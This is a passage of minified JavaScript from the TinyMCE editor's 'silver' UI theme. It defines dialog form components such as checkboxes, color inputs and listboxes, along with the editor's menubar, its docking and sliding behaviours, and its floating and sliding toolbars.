t.element.dom.checked},setValue:function(t,e){t.element.dom.checked=e}}}),a=dx.parts.field({factory:{sketch:h},dom:{tag:"input",classes:["tox-checkbox__input"],attributes:{type:"checkbox"}},behaviours:ec([uS(),gd.config({disabled:function(){return r.disabled||i.isDisabled()}}),gx.config({}),Mg.config({}),u,Tg.config({mode:"special",onEnter:n,onSpace:n,stopSpaceKeyup:!0}),mm("checkbox-events",[Cr(ki(),function(t,e){br(t,bx,{name:r.name})})])])}),c=dx.parts.label({dom:{tag:"span",classes:["tox-checkbox__label"],innerHtml:i.translate(r.label)},behaviours:ec([hS.config({})])}),s=Lm({dom:{tag:"div",classes:["tox-checkbox__icons"]},components:[o("checked"),o("unchecked")]}),dx.sketch({dom:{tag:"label",classes:["tox-checkbox"]},components:[a,s.asSpec(),c],fieldBehaviours:ec([gd.config({disabled:function(){return r.disabled||i.isDisabled()},disableClass:"tox-checkbox--disabled",onDisabled:function(t){dx.getField(t).each(gd.disable)},onEnabled:function(t){dx.getField(t).each(gd.enable)}}),gb()])});function n(t){return t.element.dom.click(),vt.some(!0)}function o(t){return sh("checked"===t?"selected":"unselected",{tag:"span",classes:["tox-icon","tox-checkbox-icon__"+t]},i.icons)}var r,i,u,a,c,s}),colorinput:gC(function(t,e){return n=t,r=e.shared,i=e.colorinput,c=dx.parts.field({factory:Ex,inputClasses:["tox-textfield"],onSetValue:function(t){return qx.run(t).get(st)},inputBehaviours:ec([gd.config({disabled:r.providers.isDisabled}),gb(),gx.config({}),qx.config({invalidClass:"tox-textbox-field-invalid",getRoot:function(t){return Yt(t.element)},notify:{onValid:function(t){var e=Df.getValue(t);br(t,vS,{color:e})}},validator:{validateOnLoad:!1,validate:function(t){var e=Df.getValue(t);if(0===e.length)return Wx(Nn.value(!0));var n=Mt.fromTag("span");fe(n,"background-color",e);var o=pe(n,"background-color").fold(function(){return Nn.error("blah")},function(t){return Nn.value(e)});return Wx(o)}}})]),selectOnFocus:!1}),s=n.label.map(function(t){return nx(t,r.providers)}),l=Lm((u={dom:{tag:"span",attributes:{"aria-label":r.providers.translate("Color swatch")}},layouts:{onRtl:function(){return[Ya,Xa,$a]},onLtr:function(){return[Xa,Ya,$a]}},components:[],fetch:xy(i.getColors(),i.hasCustomColors()),columns:i.getColorCols(),presets:"color",onItemAction:function(t,n){l.getOpt(t).each(function(e){"custom"===n?i.colorPicker(function(t){t.fold(function(){return vr(e,yS)},function(t){o(e,t),py(t)})},"#ffffff"):o(e,"remove"===n?"":n)})}},pS.sketch({dom:u.dom,components:u.components,toggleClass:"mce-active",dropdownBehaviours:ec([Jb((a=r).providers.isDisabled),gb(),hS.config({}),gx.config({})]),layouts:u.layouts,sandboxClasses:["tox-dialog__popups"],lazySink:a.getSink,fetch:function(e){return jx(function(t){return u.fetch(t)}).map(function(t){return vt.from(Gy(Yo(Cy(Ir("menu-value"),t,function(t){u.onItemAction(e,t)},u.columns,u.presets,wv.CLOSE_ON_EXECUTE,T,a.providers),{movement:Oy(u.columns,u.presets)})))})},parts:{menu:Qh(0,0,u.presets)}}))),dx.sketch({dom:{tag:"div",classes:["tox-form__group"]},components:s.toArray().concat([{dom:{tag:"div",classes:["tox-color-input"]},components:[c,l.asSpec()]}]),fieldBehaviours:ec([mm("form-field-events",[Cr(vS,function(t,e){l.getOpt(t).each(function(t){fe(t.element,"background-color",e.event.color)}),br(t,bx,{name:n.name})}),Cr(bS,function(e,n){dx.getField(e).each(function(t){Df.setValue(t,n.event.value),cd.getCurrent(e).each(Mg.focus)})}),Cr(yS,function(e,t){dx.getField(e).each(function(t){cd.getCurrent(e).each(Mg.focus)})})])])});function o(t,e){br(t,bS,{value:e})}var n,r,i,u,a,c,s,l}),colorpicker:gC(function(t){var r=Lm(uw(aw,function(t){return"tox-"+t}).sketch({dom:{tag:"div",classes:["tox-color-picker-container"],attributes:{role:"presentation"}},onValidHex:function(t){br(t,wx,{name:"hex-valid",value:!0})},onInvalidHex:function(t){br(t,wx,{name:"hex-valid",value:!1})}}));return{dom:{tag:"div"},components:[r.asSpec()],behaviours:ec([Df.config({store:{mode:"manual",getValue:function(t){var e=r.get(t);return cd.getCurrent(e).bind(function(t){return Df.getValue(t).hex}).map(function(t){return"#"+t}).getOr("")},setValue:function(t,e){var n=/^#([a-fA-F0-9]{3}(?:[a-fA-F0-9]{3})?)/.exec(e),o=r.get(t);cd.getCurrent(o).fold(function(){console.log("Can not find form")},function(t){Df.setValue(t,{hex:vt.from(n[1]).getOr("")}),ek.getField(t,"hex").each(function(t){vr(t,Si())})})}}}),uS()])}}),dropzone:gC(function(t,e){return sw(t,e.shared.providers)}),grid:gC(function(t,e){return n=e.shared,{dom:{tag:"div",classes:["tox-form__grid","tox-form__grid--"+t.columns+"col"]},components:B(t.items,n.interpreter)};var n}),listbox:gC(function(t,e){return n=t,r=(o=e).shared.providers,i=Y(n.items).filter(oC),u=n.label.map(function(t){return nx(t,r)}),a={dom:{tag:"div",classes:["tox-listboxfield"]},components:[dx.parts.field({dom:{},factory:{sketch:function(t){return Lw({uid:t.uid,text:i.map(function(t){return t.text}),icon:vt.none(),tooltip:n.label,role:vt.none(),fetch:function(t,e){e(Uw(eO(t,n.name,n.items,Df.getValue(t)),wv.CLOSE_ON_EXECUTE,o,!1))},onSetup:rt(st),getApi:rt({}),columns:1,presets:"normal",classes:[],dropdownBehaviours:[gx.config({}),Df.config({store:{mode:"manual",initialValue:i.map(function(t){return t.value}).getOr(""),getValue:function(t){return ie(t.element,tO)},setValue:function(e,t){nO(n.items,t).each(function(t){oe(e.element,tO,t.value),br(e,Rk,{text:t.text})})}}})]},"tox-listbox",o.shared)}}})]},dx.sketch({dom:{tag:"div",classes:["tox-form__group"]},components:ft([u.toArray(),[a]]),fieldBehaviours:ec([gd.config({disabled:rt(n.disabled),onDisabled:function(t){dx.getField(t).each(gd.disable)},onEnabled:function(t){dx.getField(t).each(gd.enable)}})])});var n,o,r,i,u,a}),selectbox:gC(function(t,e){return n=t,o=e.shared.providers,r=B(n.items,function(t){return{text:o.translate(t.text),value:t.value}}),i=n.label.map(function(t){return nx(t,o)}),u={dom:{tag:"div",classes:["tox-selectfield"]},components:ft([[dx.parts.field({dom:{},selectAttributes:{size:n.size},options:r,factory:oO,selectBehaviours:ec([gd.config({disabled:function(){return n.disabled||o.isDisabled()}}),gx.config({}),mm("selectbox-change",[Cr(ki(),function(t,e){br(t,bx,{name:n.name})})])])})],(1<n.size?vt.none():vt.some(sh("chevron-down",{tag:"div",classes:["tox-selectfield__icon-js"]},o.icons))).toArray()])},dx.sketch({dom:{tag:"div",classes:["tox-form__group"]},components:ft([i.toArray(),[u]]),fieldBehaviours:ec([gd.config({disabled:function(){return n.disabled||o.isDisabled()},onDisabled:function(t){dx.getField(t).each(gd.disable)},onEnabled:function(t){dx.getField(t).each(gd.enable)}}),gb()])});var n,o,r,i,u}),sizeinput:gC(function(t,e){return nS(t,e.shared.providers)}),urlinput:gC(function(t,e){return mC(t,e,e.urlinput)}),customeditor:gC(function(n){var o=gc(),e=Lm({dom:{tag:n.tag}}),r=gc();return{dom:{tag:"div",classes:["tox-custom-editor"]},behaviours:ec([mm("custom-editor-events",[ou(function(t){e.getOpt(t).each(function(e){(Tt(n,"init")?n.init(e.element.dom):sk.load(n.scriptId,n.scriptUrl).then(function(t){return t(e.element.dom,n.settings)})).then(function(e){r.on(function(t){e.setValue(t)}),r.clear(),o.set(e)})})})]),Df.config({store:{mode:"manual",getValue:function(){return o.get().fold(function(){return r.get().getOr("")},function(t){return t.getValue()})},setValue:function(t,e){o.get().fold(function(){r.set(e)},function(t){return t.setValue(e)})}}}),uS()]),components:[e.asSpec()]}}),htmlpanel:gC(function(t){return"presentation"===t.presets?sx.sketch({dom:{tag:"div",classes:["tox-form__group"],innerHtml:t.html}}):sx.sketch({dom:{tag:"div",classes:["tox-form__group"],innerHtml:t.html,attributes:{role:"document"}},containerBehaviours:ec([gx.config({}),Mg.config({})])})}),imagetools:gC(function(t,e){return nC(t,e.shared.providers)}),table:gC(function(t,e){return rC(t,e.shared.providers)}),panel:gC(function(t,e){return{dom:{tag:"div",classes:t.classes},components:B(t.items,e.shared.interpreter)}})},vO={field:function(t,e){return e}},bO=function(e,n,o){return tt(hO,n.type).fold(function(){return console.error('Unknown factory type "'+n.type+'", defaulting to container: ',n),n},function(t){return t(e,n,o)})},yO={valignCentre:[],alignCentre:[],alignLeft:[],alignRight:[],right:[],left:[],bottom:[],top:[]},xO=[{title:"Headings",items:[{title:"Heading 1",format:"h1"},{title:"Heading 2",format:"h2"},{title:"Heading 3",format:"h3"},{title:"Heading 4",format:"h4"},{title:"Heading 5",format:"h5"},{title:"Heading 6",format:"h6"}]},{title:"Inline",items:[{title:"Bold",format:"bold"},{title:"Italic",format:"italic"},{title:"Underline",format:"underline"},{title:"Strikethrough",format:"strikethrough"},{title:"Superscript",format:"superscript"},{title:"Subscript",format:"subscript"},{title:"Code",format:"code"}]},{title:"Blocks",items:[{title:"Paragraph",format:"p"},{title:"Blockquote",format:"blockquote"},{title:"Div",format:"div"},{title:"Pre",format:"pre"}]},{title:"Align",items:[{title:"Left",format:"alignleft"},{title:"Center",format:"aligncenter"},{title:"Right",format:"alignright"},{title:"Justify",format:"alignjustify"}]}],wO=function(t){return R(t,function(t,e){if(Tt(e,"items")){var n=wO(e.items);return{customFormats:t.customFormats.concat(n.customFormats),formats:t.formats.concat([{title:e.title,items:n.formats}])}}if(Tt(e,"inline")||Tt(e,"block")||Tt(e,"selector")){var o="custom-"+(y(e.name)?e.name:e.title.toLowerCase());return{customFormats:t.customFormats.concat([{name:o,format:e}]),formats:t.formats.concat([{title:e.title,format:o,icon:e.icon}])}}return lt(lt({},t),{formats:t.formats.concat(e)})},{customFormats:[],formats:[]})},SO=lk.trim,kO=xC("true"),CO=xC("false"),OO=function(t){var e=B(vs(Mt.fromDom(t),"h1,h2,h3,h4,h5,h6,a:not([href])"),function(t){return t.dom});return F(B(F(e,OC),_C).concat(B(F(e,kC),TC)),EC)},_O="tinymce-url-history",TO=od,EO=ed,DO=rt([Eo("shell",!1),mo("makeItem"),Eo("setupItem",st),Af("listBehaviours",[Dg])]),AO=rt([Qf({name:"items",overrides:function(){return{behaviours:ec([Dg.config({})])}}})]),BO=Cl({name:rt("CustomList")(),configFields:DO(),partFields:AO(),factory:function(s,t,e,n){var o=s.shell?{behaviours:[Dg.config({})],components:[]}:{behaviours:[],components:t};return{uid:s.uid,dom:s.dom,components:o.components,behaviours:el(s.listBehaviours,o.behaviours),apis:{setItems:function(a,c){var t;t=a,(s.shell?vt.some(t):ml(t,s,"items")).fold(function(){throw console.error("Custom List was defined to not be a shell, but no item container was specified in components"),new Error("Custom List was defined to not be a shell, but no item container was specified in components")},function(e){var t=Dg.contents(e),n=c.length,o=n-t.length,r=0<o?m(o,function(){return s.makeItem()}):[],i=t.slice(n);St(i,function(t){return Dg.remove(e,t)}),St(r,function(t){return Dg.append(e,t)});var u=Dg.contents(e);St(u,function(t,e){s.setupItem(a,t,c[e],e)})})}}}},apis:{setItems:function(t,e,n){t.setItems(e,n)}}}),MO=rt([mo("dom"),Eo("shell",!0),Zs("toolbarBehaviours",[Dg])]),FO=rt([Qf({name:"groups",overrides:function(){return{behaviours:ec([Dg.config({})])}}})]),IO=Cl({name:"Toolbar",configFields:MO(),partFields:FO(),factory:function(o,t,e,n){var r=o.shell?{behaviours:[Dg.config({})],components:[]}:{behaviours:[],components:t};return{uid:o.uid,dom:o.dom,components:r.components,behaviours:el(o.toolbarBehaviours,r.behaviours),apis:{setGroups:function(t,e){var n;n=t,(o.shell?vt.some(n):ml(n,o,"groups")).fold(function(){throw console.error("Toolbar was defined to not be a shell, but no groups container was specified in components"),new Error("Toolbar was defined to not be a shell, but no groups container was specified in components")},function(t){Dg.set(t,e)})}},domModification:{attributes:{role:"group"}}}},apis:{setGroups:function(t,e,n){t.setGroups(e,n)}}}),RO=rt([]),NO=Object.freeze({__proto__:null,setup:st,isDocked:T,getBehaviours:RO}),PO=Vo([{static:[]},{absolute:["positionCss"]},{fixed:["positionCss"]}]),VO=function(t,e,n){var o,r,i,u;t.getSystem().isConnected()&&(i=n,u=(r=e).lazyViewport(o=t),i.isDocked()&&JC(o,r,i,u),YC(o,u,i).each(function(t){t.fold(function(){return qC(o,r,i)},function(t){return KC(o,r,i,t)},function(t){JC(o,r,i,u,!0),KC(o,r,i,t)})}))},HO=Object.freeze({__proto__:null,refresh:VO,reset:$C,isDocked:function(t,e,n){return n.isDocked()},getModes:function(t,e,n){return n.getModes()},setModes:function(t,e,n,o){return n.setModes(o)}}),LO=Object.freeze({__proto__:null,events:function(o,r){return nu([Ar(_i(),function(e,n){o.contextual.each(function(t){Kr(e.element,t.transitionClass)&&($r(e.element,[t.transitionClass,t.fadeInClass]),(r.isVisible()?t.onShown:t.onHidden)(e)),n.stop()})}),Cr(ji(),function(t,e){VO(t,o,r)}),Cr(Wi(),function(t,e){$C(t,o,r)})])}}),zO=xa({fields:[To("contextual",[po("fadeInClass"),po("fadeOutClass"),po("transitionClass"),vo("lazyContext"),Ju("onShow"),Ju("onShown"),Ju("onHide"),Ju("onHidden")]),Io("lazyViewport",Fn),Ro("modes",["top","bottom"],er),Ju("onDocked"),Ju("onUndocked")],name:"docking",active:LO,apis:HO,state:Object.freeze({__proto__:null,init:function(t){var e=Po(!1),n=Po(!0),o=gc(),r=Po(t.modes);return wu({isDocked:e.get,setDocked:e.set,getInitialPos:o.get,setInitialPos:o.set,clearInitialPos:o.clear,isVisible:n.get,setVisible:n.set,getModes:r.get,setModes:r.set,readState:function(){return"docked:  "+e.get()+", visible: "+n.get()+", modes: "+r.get().join(",")}})}})}),UO=rt(Ir("toolbar-height-change")),jO={fadeInClass:"tox-editor-dock-fadein",fadeOutClass:"tox-editor-dock-fadeout",transitionClass:"tox-editor-dock-transition"},WO="tox-tinymce--toolbar-sticky-on",GO="tox-tinymce--toolbar-sticky-off",XO=Object.freeze({__proto__:null,setup:function(t,e,n){t.inline||(e.header.isPositionedAtTop()||t.on("ResizeEditor",function(){n().each(zO.reset)}),t.on("ResizeWindow ResizeEditor",function(){n().each(ZC)}),t.on("SkinLoaded",function(){n().each(function(t){zO.isDocked(t)?zO.reset(t):zO.refresh(t)})}),t.on("FullscreenStateChanged",function(){n().each(zO.reset)})),t.on("AfterScrollIntoView",function(b){n().each(function(t){zO.refresh(t);var e,n,o,r,i,u,a,c,s,l,f,d,m,g,p,h,v=t.element;Pd(v)&&(e=b,r=(o=jt(n=v)).dom.defaultView.innerHeight,i=Ie(o),a=He(u=Mt.fromDom(e.elm)),c=xe(u),l=(s=a.y)+c,f=ke(n),d=xe(n),g=(m=f.top)+d,p=Math.abs(m-i.top)<2,h=Math.abs(g-(i.top+r))<2,p&&s<g?Re(i.left,s-d,o):h&&m<l&&Re(i.left,s-r+c+d,o))})}),t.on("PostRender",function(){e1(t,!1)})},isDocked:function(t){return t().map(zO.isDocked).getOr(!1)},getBehaviours:n1}),YO=$o([po("type"),go("items",no([Qo([po("name"),xo("items",er)]),er]))].concat(Ph)),qO=[Co("text"),Co("tooltip"),Co("icon"),vo("fetch"),Io("onSetup",function(){return st})],KO=$o(V([po("type")],qO,!0)),JO=$o([po("type"),Co("tooltip"),Co("icon"),Co("text"),Oo("select"),vo("fetch"),Io("onSetup",function(){return st}),Mo("presets","normal",["normal","color","listpreview"]),Eo("columns",1),vo("onAction"),vo("onItemAction")]),$O=kl({factory:function(e,o){var t={focus:Tg.focusIn,setMenus:function(t,e){var n=B(e,function(e){return Ww(o1({type:"menubutton",text:e.text,fetch:function(t){t(e.getItems())}}).mapError(function(t){return ur(t)}).getOrDie(),"tox-mbtn",o.backstage,vt.some("menuitem"))});Dg.set(t,n)}};return{uid:e.uid,dom:e.dom,components:[],behaviours:ec([Dg.config({}),mm("menubar-events",[ou(function(t){e.onSetup(t)}),Cr(vi(),function(n,t){Iu(n.element,".tox-mbtn--active").each(function(e){Ru(t.event.target,".tox-mbtn").each(function(t){zt(e,t)||n.getSystem().getByDom(e).each(function(e){n.getSystem().getByDom(t).each(function(t){pS.expand(t),pS.close(e),Mg.focus(t)})})})})}),Cr(Ki(),function(n,t){t.event.prevFocus.bind(function(t){return n.getSystem().getByDom(t).toOptional()}).each(function(e){t.event.newFocus.bind(function(t){return n.getSystem().getByDom(t).toOptional()}).each(function(t){pS.isOpen(e)&&(pS.expand(t),pS.close(e))})})})]),Tg.config({mode:"flow",selector:".tox-mbtn",onEscape:function(t){return e.onEscape(t),vt.some(!0)}}),gx.config({})]),apis:t,domModification:{attributes:{role:"menubar"}}}},name:"silver.Menubar",configFields:[mo("dom"),mo("uid"),mo("onEscape"),mo("backstage"),Eo("onSetup",st)],apis:{focus:function(t,e){t.focus(e)},setMenus:function(t,e,n){t.setMenus(e,n)}}}),QO=Object.freeze({__proto__:null,refresh:function(t,e,n){var o;n.isExpanded()&&(ve(t.element,i1(e)),o=u1(e,t.element),fe(t.element,i1(e),o))},grow:function(t,e,n){n.isExpanded()||d1(t,e,n)},shrink:function(t,e,n){n.isExpanded()&&f1(t,e,n)},immediateShrink:function(t,e,n){n.isExpanded()&&l1(t,e,n)},hasGrown:function(t,e,n){return n.isExpanded()},hasShrunk:function(t,e,n){return n.isCollapsed()},isGrowing:m1,isShrinking:g1,isTransitioning:function(t,e,n){return m1(t,e)||g1(t,e)},toggleGrow:function(t,e,n){(n.isExpanded()?f1:d1)(t,e,n)},disableTransitions:a1}),ZO=Object.freeze({__proto__:null,exhibit:function(t,e,n){return zr(e.expanded?{classes:[e.openClass],styles:{}}:{classes:[e.closedClass],styles:sr(e.dimension.property,"0px")})},events:function(n,o){return nu([Ar(_i(),function(t,e){e.event.raw.propertyName===n.dimension.property&&(a1(t,n),o.isExpanded()&&ve(t.element,n.dimension.property),(o.isExpanded()?n.onGrown:n.onShrunk)(t))})])}}),t_=xa({fields:[mo("closedClass"),mo("openClass"),mo("shrinkingClass"),mo("growingClass"),wo("getAnimationRoot"),Ju("onShrunk"),Ju("onStartShrink"),Ju("onGrown"),Ju("onStartGrow"),Eo("expanded",!1),go("dimension",lo("property",{width:[ta("property","width"),ta("getDimension",function(t){return Ce(t)+"px"})],height:[ta("property","height"),ta("getDimension",function(t){return xe(t)+"px"})]}))],name:"sliding",active:ZO,apis:QO,state:Object.freeze({__proto__:null,init:function(t){var e=Po(t.expanded);return wu({isExpanded:function(){return!0===e.get()},isCollapsed:function(){return!1===e.get()},setCollapsed:C(e.set,!1),setExpanded:C(e.set,!0),readState:function(){return"expanded: "+e.get()}})}})}),e_="container",n_=[Zs("slotBehaviours",[])],o_=dt({getSlotNames:function(t,e){return t.getSlotNames(e)},getSlot:function(t,e,n){return t.getSlot(e,n)},isShowing:function(t,e,n){return t.isShowing(e,n)},hideSlot:function(t,e,n){return t.hideSlot(e,n)},hideAllSlots:function(t,e){return t.hideAllSlots(e)},showSlot:function(t,e,n){return t.showSlot(e,n)}},Hr),r_=lt(lt({},o_),{sketch:function(t){var n,e={slot:function(t,e){return n.push(t),cl(e_,p1(t),e)},record:rt(n=[])},o=t(e),r=B(e.record(),function(t){return Jf({name:t,pname:p1(t)})});return Sl(e_,n_,r,K1,o)}}),i_=$o([Co("icon"),Co("tooltip"),Io("onShow",st),Io("onHide",st),Io("onSetup",function(){return st})]),u_=Ir("FixSizeEvent"),a_=Ir("AutoSizeEvent"),c_=Object.freeze({__proto__:null,block:function(t,e,n,o){oe(t.element,"aria-busy",!0);var r=e.getRoot(t).getOr(t),i=ec([Tg.config({mode:"special",onTab:function(){return vt.some(!0)},onShiftTab:function(){return vt.some(!0)}}),Mg.config({})]),u=o(r,i),a=r.getSystem().build(u);Dg.append(r,Eu(a)),a.hasConfigured(Tg)&&e.focus&&Tg.focusIn(a),n.isBlocked()||e.onBlock(t),n.blockWith(function(){return Dg.remove(r,a)})},unblock:function(t,e,n){ce(t.element,"aria-busy"),n.isBlocked()&&e.onUnblock(t),n.clear()}}),s_=xa({fields:[Io("getRoot",vt.none),Fo("focus",!0),Ju("onBlock"),Ju("onUnblock")],name:"blocking",apis:c_,state:Object.freeze({__proto__:null,init:function(){var e=dc();return wu({readState:e.isSet,blockWith:function(t){e.set({destroy:t})},clear:e.clear,isBlocked:e.isSet})}})}),l_=rt([Zs("splitToolbarBehaviours",[Jx]),cr("builtGroups",function(){return Po([])})]),f_=rt([qu(["overflowToggledClass"]),Oo("getOverflowBounds"),mo("lazySink"),cr("overflowGroups",function(){return Po([])})].concat(l_())),d_=rt([Jf({factory:IO,schema:MO(),name:"primary"}),$f({schema:MO(),name:"overflow"}),$f({name:"overflow-button"}),$f({name:"overflow-group"})]),m_=rt(function(t,e){var n=t,o=Math.floor(e);fe(n,"max-width",On.max(n,o,["margin-left","border-left-width","padding-left","padding-right","border-right-width","margin-right"])+"px")}),g_=rt([qu(["toggledClass"]),mo("lazySink"),vo("fetch"),Oo("getBounds"),To("fireDismissalEventInstead",[Eo("event",Yi())]),Uc()]),p_=rt([$f({name:"button",overrides:function(t){return{dom:{attributes:{"aria-haspopup":"true"}},buttonBehaviours:ec([Rg.config({toggleClass:t.markers.toggledClass,aria:{mode:"expanded"},toggleOnExecute:!1})])}}}),$f({factory:IO,schema:MO(),name:"toolbar",overrides:function(e){return{toolbarBehaviours:ec([Tg.config({mode:"cyclic",onEscape:function(t){return ml(t,e,"button").each(Mg.focus),vt.none()}})])}}})]),h_=Cl({name:"FloatingToolbarButton",factory:function(u,t,a,e){return lt(lt({},ip.sketch(lt(lt({},e.button()),{action:function(t){_1(t,e)},buttonBehaviours:Bf({dump:e.button().buttonBehaviours},[Jx.config({others:{toolbarSandbox:function(t){return o=t,n=a,r=u,{dom:{tag:"div",attributes:{id:(i=Nu()).id}},behaviours:ec([Tg.config({mode:"special",onEscape:function(t){return bf.close(t),vt.some(!0)}}),bf.config({onOpen:function(t,e){r.fetch().get(function(t){E1(o,e,r,n.layouts,t),i.link(o.element),Tg.focusIn(e)})},onClose:function(){Rg.off(o),Mg.focus(o),i.unlink(o.element)},isPartOf:function(t,e,n){return Hu(e,n)||Hu(o,n)},getAttachPoint:function(){return r.lazySink(o).getOrDie()}}),ic.config({channels:lt(lt({},Xs(lt({isExtraPart:T},r.fireDismissalEventInstead.map(function(t){return{fireEventInstead:{event:t.event}}}).getOr({})))),Ys({doReposition:function(){bf.getState(Jx.getCoupled(o,"toolbarSandbox")).each(function(t){T1(o,t,r,n.layouts)})}}))})])};var o,n,r,i}}})])}))),{apis:{setGroups:function(e,n){bf.getState(Jx.getCoupled(e,"toolbarSandbox")).each(function(t){E1(e,t,u,a.layouts,n)})},reposition:function(e){bf.getState(Jx.getCoupled(e,"toolbarSandbox")).each(function(t){T1(e,t,u,a.layouts)})},toggle:function(t){_1(t,e)},getToolbar:function(t){return bf.getState(Jx.getCoupled(t,"toolbarSandbox"))},isOpen:function(t){return bf.isOpen(Jx.getCoupled(t,"toolbarSandbox"))}}})},configFields:g_(),partFields:p_(),apis:{setGroups:function(t,e,n){t.setGroups(e,n)},reposition:function(t,e){t.reposition(e)},toggle:function(t,e){t.toggle(e)},getToolbar:function(t,e){return t.getToolbar(e)},isOpen:function(t,e){return t.isOpen(e)}}}),v_=rt([mo("items"),qu(["itemSelector"]),Zs("tgroupBehaviours",[Tg])]),b_=rt([Zf({name:"items",unit:"item"})]),y_=Cl({name:"ToolbarGroup",configFields:v_(),partFields:b_(),factory:function(t,e,n,o){return{uid:t.uid,dom:t.dom,components:e,behaviours:el(t.tgroupBehaviours,[Tg.config({mode:"flow",selector:t.markers.itemSelector})]),domModification:{attributes:{role:"toolbar"}}}}}),x_=Cl({name:"SplitFloatingToolbar",configFields:f_(),partFields:d_(),factory:function(n,t,e,o){var r=Lm(h_.sketch({fetch:function(){return jx(function(t){t(D1(n.overflowGroups.get()))})},layouts:{onLtr:function(){return[Ya,Xa]},onRtl:function(){return[Xa,Ya]},onBottomLtr:function(){return[Ka,qa]},onBottomRtl:function(){return[qa,Ka]}},getBounds:e.getOverflowBounds,lazySink:n.lazySink,fireDismissalEventInstead:{},markers:{toggledClass:n.markers.overflowToggledClass},parts:{button:o["overflow-button"](),toolbar:o.overflow()}}));return{uid:n.uid,dom:n.dom,components:t,behaviours:el(n.splitToolbarBehaviours,[Jx.config({others:{overflowGroup:function(){return y_.sketch(lt(lt({},o["overflow-group"]()),{items:[r.asSpec()]}))}}})]),apis:{setGroups:function(t,e){n.builtGroups.set(B(e,t.getSystem().build)),A1(t,r,n)},refresh:function(t){return A1(t,r,n)},toggle:function(t){r.getOpt(t).each(function(t){h_.toggle(t)})},isOpen:function(t){return r.getOpt(t).map(h_.isOpen).getOr(!1)},reposition:function(t){r.getOpt(t).each(function(t){h_.reposition(t)})},getOverflow:function(t){return r.getOpt(t).bind(h_.getToolbar)}},domModification:{attributes:{role:"group"}}}},apis:{setGroups:function(t,e,n){t.setGroups(e,n)},refresh:function(t,e){t.refresh(e)},reposition:function(t,e){t.reposition(e)},toggle:function(t,e){t.toggle(e)},isOpen:function(t,e){return t.isOpen(e)},getOverflow:function(t,e){return t.getOverflow(e)}}}),w_=rt([qu(["closedClass","openClass","shrinkingClass","growingClass","overflowToggledClass"]),Ju("onOpened"),Ju("onClosed")].concat(l_())),S_=rt([Jf({factory:IO,schema:MO(),name:"primary"}),Jf({factory:IO,schema:MO(),name:"overflow",overrides:function(e){return{toolbarBehaviours:ec([t_.config({dimension:{property:"height"},closedClass:e.markers.closedClass,openClass:e.markers.openClass,shrinkingClass:e.markers.shrinkingClass,growingClass:e.markers.growingClass,onShrunk:function(t){ml(t,e,"overflow-button").each(function(t){Rg.off(t),Mg.focus(t)}),e.onClosed(t)},onGrown:function(t){Tg.focusIn(t),e.onOpened(t)},onStartGrow:function(t){ml(t,e,"overflow-button").each(Rg.on)}}),Tg.config({mode:"acyclic",onEscape:function(t){return ml(t,e,"overflow-button").each(Mg.focus),vt.some(!0)}})])}}}),$f({name:"overflow-button",overrides:function(t){return{buttonBehaviours:ec([Rg.config({toggleClass:t.markers.overflowToggledClass,aria:{mode:"pressed"},toggleOnExecute:!1})])}}}),$f({name:"overflow-group"})]),k_=Cl({name:"SplitSlidingToolbar",configFields:w_(),partFields:S_(),factory:function(o,t,e,n){var r="alloy.toolbar.toggle";return{uid:o.uid,dom:o.dom,components:t,behaviours:el(o.splitToolbarBehaviours,[Jx.config({others:{overflowGroup:function(e){return y_.sketch(lt(lt({},n["overflow-group"]()),{items:[ip.sketch(lt(lt({},n["overflow-button"]()),{action:function(t){vr(e,r)}}))]}))}}}),mm("toolbar-toggle-events",[Cr(r,function(t){B1(t,o)})])]),apis:{setGroups:function(t,e){var n=B(e,t.getSystem().build);o.builtGroups.set(n),J1(t,o)},refresh:function(t){return J1(t,o)},toggle:function(t){return B1(t,o)},isOpen:function(t){return ml(t,o,"overflow").map(t_.hasGrown).getOr(!1)}},domModification:{attributes:{role:"group"}}}},apis:{setGroups:function(t,e,n){t.setGroups(e,n)},refresh:function(t,e){t.refresh(e)},toggle:function(t,e){t.toggle(e)},isOpen:function(t,e){return t.isOpen(e)}}}),C_=EO.optional({factory:$O,name:"menubar",schema:[mo("backstage")]}),O_=EO.optional({factory:{sketch:function(t){return BO.sketch({uid:t.uid,dom:t.dom,listBehaviours:ec([Tg.config({mode:"acyclic",selector:".tox-toolbar"})]),makeItem:function(){return N1({type:t.type,uid:Ir("multiple-toolbar-item"),cyclicKeying:!1,initGroups:[],providers:t.providers,onEscape:function(){return t.onEscape(),vt.some(!0)}})},setupItem:function(t,e,n,o){IO.setGroups(e,n)},shell:!0})}},name:"multiple-toolbar",schema:[mo("dom"),mo("onEscape")]}),__=EO.optional({factory:{sketch:function(t){return(t.type===vv.sliding?function(t){var e=k_.parts.primary({dom:{tag:"div",classes:["tox-toolbar__primary"]}}),n=k_.parts.overflow({dom:{tag:"div",classes:["tox-toolbar__overflow"]}}),o=R1(t);return k_.sketch(lt(lt({},o),{components:[e,n],markers:{openClass:"tox-toolbar__overflow--open",closedClass:"tox-toolbar__overflow--closed",growingClass:"tox-toolbar__overflow--growing",shrinkingClass:"tox-toolbar__overflow--shrinking",overflowToggledClass:"tox-tbtn--enabled"},onOpened:function(t){t.getSystem().broadcastOn([UO()],{type:"opened"})},onClosed:function(t){t.getSystem().broadcastOn([UO()],{type:"closed"})}}))}:t.type===vv.floating?function(i){var t=R1(i),e=x_.parts.primary({dom:{tag:"div",classes:["tox-toolbar__primary"]}});return x_.sketch(lt(lt({},t),{lazySink:i.getSink,getOverflowBounds:function(){var t=i.moreDrawerData.lazyHeader().element,e=He(t),n=Gt(t),o=He(n),r=Math.max(n.dom.scrollHeight,o.height);return Bn(e.x+4,o.y,e.width-8,r)},parts:lt(lt({},t.parts),{overflow:{dom:{tag:"div",classes:["tox-toolbar__overflow"],attributes:i.attributes}}}),components:[e],markers:{overflowToggledClass:"tox-tbtn--enabled"}}))}:N1)({type:t.type,uid:t.uid,onEscape:function(){return t.onEscape(),vt.some(!0)},cyclicKeying:!1,initGroups:[],getSink:t.getSink,providers:t.providers,moreDrawerData:{lazyToolbar:t.lazyToolbar,lazyMoreButton:t.lazyMoreButton,lazyHeader:t.lazyHeader},attributes:t.attributes})}},name:"toolbar",schema:[mo("dom"),mo("onEscape"),mo("getSink")]}),T_=EO.optional({factory:{sketch:function(t){var 